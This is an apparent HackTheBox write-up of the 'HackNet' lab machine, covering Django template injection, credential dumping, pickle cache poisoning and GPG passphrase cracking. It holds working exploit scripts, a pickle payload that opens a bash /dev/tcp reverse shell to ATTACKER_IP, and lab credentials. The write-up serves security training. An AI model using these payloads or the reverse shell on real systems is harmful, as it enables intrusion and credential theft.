HTB: HackNet Writeup

HackNet - HackTheBox Writeup

Machine Information

AttributeDetails
NameHackNet
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.85
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

HackNet is a Django-based social networking platform that exposes multiple critical vulnerabilities in its implementation. The initial foothold is achieved through Server-Side Template Injection (SSTI) in user profile fields, which allows attackers to leak sensitive credentials from users who interacted with posts. Privilege escalation leverages Django’s FileBasedCache Pickle deserialization weakness for cache poisoning, followed by GPG key passphrase recovery to decrypt database backups containing root credentials. This machine demonstrates real-world web application security flaws and the critical importance of secure configuration across multiple layers.

TL;DR: SSTI Credential Leakage → SSH Access → Cache Poisoning RCE → GPG Passphrase Cracking → Root Database Access


Reconnaissance

Port Scanning

Terminal window
nmap -p- --min-rate=1000 -sC -sV 10.10.11.85

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open http nginx 1.22.1

Two services are identified:

  • SSH on port 22 running OpenSSH 9.2p1
  • HTTP on port 80 running nginx 1.22.1, with a redirect to http://hacknet.htb

Service Enumeration

HTTP Service Analysis:

The web server redirects to the domain hacknet.htb. After adding an entry to /etc/hosts:

Terminal window
echo "10.10.11.85 hacknet.htb" | sudo tee -a /etc/hosts

Visiting http://hacknet.htb reveals a hacker-themed social networking platform with login and signup functionality. After creating an account and logging in, we discover the following features:

  • User profile creation and editing (username, email, password, description)
  • Post creation capability
  • Like functionality with user lists
  • Explore section showing public posts
  • Contact request system

The Wappalyzer extension identifies the application as Django-based, suggesting potential template injection vulnerabilities.

Vulnerability Assessment

Server-Side Template Injection (SSTI):

Testing the profile fields with Jinja2 payloads like {{ 7*7 }} in the username field reveals that the application is evaluating template expressions. When the likes list is expanded for a post containing an SSTI payload in the username field, an error occurs, confirming the vulnerability exists in the template rendering context.

Identified Attack Surface:

  • Profile fields (username, description) are reflected in the likes widget
  • Template context variables are accessible through object traversal
  • No input sanitization or template escaping is implemented

Initial Foothold

SSTI Enumeration and Exploitation

Step 1: Discover Injectable Parameters

We create a Python script to enumerate available context variables by fuzzing parameter names against the Django template context:

#!/usr/bin/env python3
import requests
import re
# Configuration
SESSION_ID = "your_session_cookie_here"
PARAM_FILE = "/usr/share/wordlists/seclists/raft-medium-words-lowercase.txt"
EDIT_PROFILE_URL = "http://hacknet.htb/profile/edit"
LIKES_LINK = "http://hacknet.htb/likes/28"
# Setup session
session = requests.Session()
cookies = {"sessionid": SESSION_ID}
# Retrieve CSRF token
resp = session.get(EDIT_PROFILE_URL, cookies=cookies)
match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', resp.text)
if not match:
print("[!] Could not find CSRF token")
exit(1)
csrftoken = match.group(1)
print(f"[+] CSRF token retrieved: {csrftoken}")
# Load parameter wordlist
with open(PARAM_FILE, "r") as f:
param_list = [line.strip() for line in f]
print(f"[+] Loaded {len(param_list)} parameters")
# Fuzz for injectable parameters
for param in param_list:
payload = f"{{{{ {param} }}}}"
data = {
"username": payload,
"csrfmiddlewaretoken": csrftoken,
"about": "",
"email": "",
"password": "",
"is_public": "on",
}
session.post(EDIT_PROFILE_URL, data=data, cookies=cookies)
r = session.get(LIKES_LINK, cookies=cookies)
# Check if parameter was resolved
if param in r.text and "QuerySet" not in r.text:
print(f"[+] Found injectable param: {param}")

Output: The script identifies users as a valid context variable resolving to a Django QuerySet.

Step 2: Test Context Variable Access

Update the username field to {{ users }} and reload the likes list. The output reveals:

<QuerySet [<SocialUser: {{ users }}>]>

This confirms we can access the users QuerySet. Test attribute access with {{ users.0.email }}:

Terminal window
# Set username to {{ users.0.email }}
# Reload likes list
# Output reveals: admin@hacknet.htb

Similarly, test password extraction with {{ users.0.password }}:

Terminal window
# Set username to {{ users.0.password }}
# Reload likes list
# Output reveals: hashed_password_value

Step 3: Credential Extraction from High-Engagement Posts

Identify the post with the most likes in the Explore section. This post (ID: 15) has been liked by multiple users. Create an automated extraction script:

#!/usr/bin/python
import requests
result_emails = []
result_passwords = []
session_id = 'your_session_cookie_here'
likes_link = 'http://hacknet.htb/likes/15'
s = requests.Session()
cookies = {'sessionid': session_id}
# Get CSRF token
r = s.get('http://hacknet.htb/profile/edit', cookies=cookies)
token_post = r.text.find('csrfmiddlewaretoken')
csrftoken = r.text[token_post+28:token_post+92]
# Iterate through QuerySet indices to extract credentials
for param in range(1, 20):
# Extract email
parm_string = "{{ users." + str(param) + ".email }}"
data = {
"username": parm_string,
"csrfmiddlewaretoken": csrftoken,
"about": "",
"email": "",
"password": "",
"is_public": "on"
}
r = s.post('http://hacknet.htb/profile/edit', data=data)
# Fetch rendered page
r = s.get(likes_link)
email = r.text[2112:-12]
if email:
result_emails.append(email)
# Extract password
parm_string = "{{ users." + str(param) + ".password }}"
data["username"] = parm_string
r = s.post('http://hacknet.htb/profile/edit', data=data)
# Fetch rendered page
r = s.get(likes_link)
password = r.text[2112:-12]
if password:
result_passwords.append(password)
# Display results
for i in range(len(result_emails)):
print(f"Found: {result_emails[i]} - {result_passwords[i]}")

Extracted Credentials:

rootbreaker@exploitmail.net - R00tBr3@ker#
zero_day@hushmail.com - Zer0D@yH@ck
shadowcaster@darkmail.net - Sh@d0wC@st!
blackhat_wolf@cypherx.com - Bl@ckW0lfH@ck
bytebandit@exploitmail.net - Byt3B@nd!t123
glitch@cypherx.com - Gl1tchH@ckz
phreaker@securemail.org - Phre@k3rH@ck
codebreaker@ciphermail.com - C0d3Br3@k!
netninja@hushmail.com - N3tN1nj@2024
packetpirate@exploitmail.net - P@ck3tP!rat3
darkseeker@darkmail.net - D@rkSeek3r#
trojanhorse@securemail.org - Tr0j@nH0rse!
exploit_wizard@hushmail.org - Expl01tW!zard
whitehat@darkmail.net - Wh!t3H@t2024
deepdive@hacknet.htb - D33pD!v3r
virus_viper@securemail.org - V!rusV!p3r2024
brute_force@ciphermail.com - BrUt3F0rc3#
shadowwalker@hushmail.com - Sh@dowW@lk2024
dot@htb.com - pass123

Step 4: Lateral Movement Within Application

The account deepdive@hacknet.htb is notable as it’s hosted on the internal domain. However, it has 2FA enabled and a private profile, preventing direct credential leakage.

To bypass this:

  1. Send a contact request to deepdive from our account
  2. Log in as deepdive (using credentials: deepdive@hacknet.htb:D33pD!v3r)
  3. Accept the contact request
  4. Switch back to our account and like deepdive’s private post
  5. Extract backdoor_bandit credentials from the likes list

Step 5: Extract backdoor_bandit Credentials

Using the same SSTI payload technique:

Terminal window
# Set username to {{ users.0.email }}
# Result: mikey@hacknet.htb
# Set username to {{ users.0.password }}
# Result: mYd4rks1dEisH3re

Step 6: SSH Access

Terminal window
ssh mikey@hacknet.htb
# Password: mYd4rks1dEisH3re

Verify access:

Terminal window
mikey@hacknet:~$ id
uid=1000(mikey) gid=1000(mikey) groups=1000(mikey)
mikey@hacknet:~$ cat /home/mikey/user.txt
<redacted>

Privilege Escalation

Step 1: Identify Cache Poisoning Vector

During filesystem enumeration, we discover the Django cache configuration in /var/www/HackNet/HackNet/settings.py:

CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': '/var/tmp/django_cache',
'TIMEOUT': 60,
'OPTIONS': {'MAX_ENTRIES': 1000},
}
}

Vulnerability Analysis:

Django’s FileBasedCache stores entries as Pickle-serialized objects. Unlike session storage (which was secured against Pickle deserialization), cache entries are still vulnerable. The cache directory permissions are world-writable:

Terminal window
mikey@hacknet:~$ ls -l /var/tmp/ | grep django_cache
drwxrwxrwx 2 sandy www-data 4096 Jan 16 05:40 django_cache

Step 2: Trigger Cache Creation

Visit the Explore page to generate a cache file:

Terminal window
curl http://hacknet.htb/explore

Check the cache directory:

Terminal window
mikey@hacknet:/var/tmp/django_cache$ ls -al
# Output shows .djcache files with readable permissions for www-data

Step 3: Create Malicious Pickle Payload

Craft a Python script to generate a poisoned pickle object:

#!/usr/bin/env python3
import pickle
import subprocess
class EvilPickle:
def __reduce__(self):
# Execute reverse shell when unpickled
return (subprocess.Popen, (["/bin/bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"],))
payload = pickle.dumps(EvilPickle())
# Write to cache file location
with open('/tmp/CACHE_FILENAME.djcache', 'wb') as f:
f.write(payload)

Replace ATTACKER_IP with your attack machine’s IP and CACHE_FILENAME with the actual cache filename from /var/tmp/django_cache/.

Step 4: Execute Cache Poisoning

Set up listener on attack machine:

Terminal window
nc -nvlp 9001

On the target, run the exploit and move the poisoned cache file:

Terminal window
mikey@hacknet:/tmp$ python3 exploit.py
mikey@hacknet:/var/tmp/django_cache$ mv /tmp/CACHE_FILENAME.djcache .
# Respond 'yes' to override permissions prompt

Refresh the /explore page to trigger deserialization:

Terminal window
curl http://hacknet.htb/explore

The poisoned cache is deserialized by the web application (running as sandy), executing the reverse shell:

Terminal window
# On attack machine
listening on [any] 9001 ...
connect to [ATTACKER_IP] from [10.10.11.85] PORT
sandy@hacknet:/var/www/HackNet$ id
uid=1001(sandy) gid=33(www-data) groups=33(www-data)

Step 5: Recover GPG Passphrase

Navigate to the backups directory:

Terminal window
sandy@hacknet:~$ ls -l /var/www/HackNet/backups/
total 48
-rw-r--r-- 1 sandy sandy 13445 Dec 29 2024 backup01.sql.gpg
-rw-r--r-- 1 sandy sandy 13713 Dec 29 2024 backup02.sql.gpg
-rw-r--r-- 1 sandy sandy 13851 Dec 29 2024 backup03.sql.gpg

Enumerate GPG key material:

Terminal window
sandy@hacknet:~/.gnupg/private-keys-v1.d$ ls -l
-rw------- 1 sandy sandy 1255 Sep 5 11:33 0646B1CF582AC499934D8503DCF066A6DCE4DFA9.key
-rw------- 1 sandy sandy 2088 Sep 5 11:33 armored_key.asc
-rw------- 1 sandy sandy 1255 Sep 5 11:33 EF995B85C8B33B9FC53695B9A3B597B325562F4F.key

Extract the ASCII-armored key and transfer it:

Terminal window
# On target
sandy@hacknet:~/.gnupg/private-keys-v1.d$ python3 -m http.server 8080
# On attack machine
wget http://10.10.11.85:8080/armored_key.asc

Generate a crackable hash using gpg2john:

Terminal window
gpg2john armored_key.asc > hash.txt
cat hash.txt
# Output: Sandy:$gpg$*1*348*1024*db7e6d165a1d86f43...[redacted]...*65011712*850ffb6e35f0058b:::Sandy (My key for backups) <sandy@hacknet.htb>::armored_key.asc

Crack the hash with John the Ripper:

Terminal window
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --pot=none
# Output:
# sweetheart (Sandy)

Step 6: Decrypt Backup and Extract Root Credentials

Decrypt the backup using the recovered passphrase:

Terminal window
sandy@hacknet:~$ gpg --decrypt --pinentry-mode=loopback /var/www/HackNet/backups/backup02.sql.gpg > backup.sql
# When prompted for passphrase, enter: sweetheart
sandy@hacknet:~$ cat backup.sql

Search the SQL dump for sensitive data:

-- Backup reveals internal employee communications containing:
-- Root password: h4ck3rs4re3veRywh3re99

Step 7: Obtain Root Access

Authenticate as root using the recovered password:

Terminal window
sandy@hacknet:~$ su root
Password: h4ck3rs4re3veRywh3re99
root@hacknet:/home/sandy# id
uid=0(root) gid=0(root) groups=0(root)
root@hacknet:~# cat /root/root.txt
<redacted>

Attack Chain Summary

SSTI in Profile Fields
Enumerate Django Template Context
Extract Credentials via users QuerySet Traversal
Lateral Movement: deepdive → backdoor_bandit
SSH Access as mikey
Cache Poisoning via Pickle Deserialization
RCE as sandy (www-data)
GPG Passphrase Recovery via John the Ripper
Decrypt Database Backup
Extract Root Credentials from SQL Dump
Root Access

Tools Used

ToolPurpose
nmapPort and service discovery
curlHTTP requests and page retrieval
requests (Python)Automated SSTI payload testing and credential extraction
burpsuiteHTTP request interception and analysis
ncReverse shell listener
pickle (Python)Malicious serialized object creation
gpg2johnHash extraction from GPG keys
johnPassphrase brute-forcing
gpgBackup decryption
sshRemote shell access

Key Learnings

Techniques Practiced

  • Server-Side Template Injection (SSTI) - Exploiting Jinja2 template evaluation to access backend context
  • Django Template Context Enumeration - Fuzzing for accessible variables and object attributes
  • QuerySet Traversal - Accessing nested ORM objects through template syntax
  • Cache Poisoning via Pickle Deserialization - Leveraging unsafe serialization in FileBasedCache
  • GPG Key Extraction and Passphrase Cracking - Converting armored keys to crackable hashes
  • Privilege Escalation Chaining - Combining multiple vulnerabilities for incremental access
  • SQL Dump Analysis - Extracting sensitive data from database backups

Lessons Learned

  1. Template Injection is Critical - Never render user-controlled input in template contexts without proper escaping. Use template sandboxing and disable dangerous functions.

  2. Pickle Deserialization is Dangerous - Modern frameworks restrict Pickle usage in sessions, but similar protections must extend to all caching mechanisms. Use JSON or other safe serialization formats.

  3. Credential Management Matters - Storing plaintext passwords in application databases and database backups without proper encryption creates cascading compromise risks.

  4. Cache Directory Permissions - World-writable cache directories allow privilege escalation. Implement strict file permissions (0700 or 0600) for sensitive directories.

  5. ORM Context Leakage - Django’s powerful ORM allows traversal of related objects through templates. Always carefully audit what data is passed to template contexts.

  6. Multi-Factor Authentication Bypass - 2FA can be circumvented through social engineering (contact requests) within the application. Implement strict data access controls regardless of 2FA status.

  7. Backup Security is Application Security - Database backups are as critical as live databases. Encrypt with strong passphrases and protect key material independently from backups.

  8. Defense in Depth - This machine required chaining multiple vulnerabilities. A single fix at any stage would have prevented compromise. Implement layered defenses.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>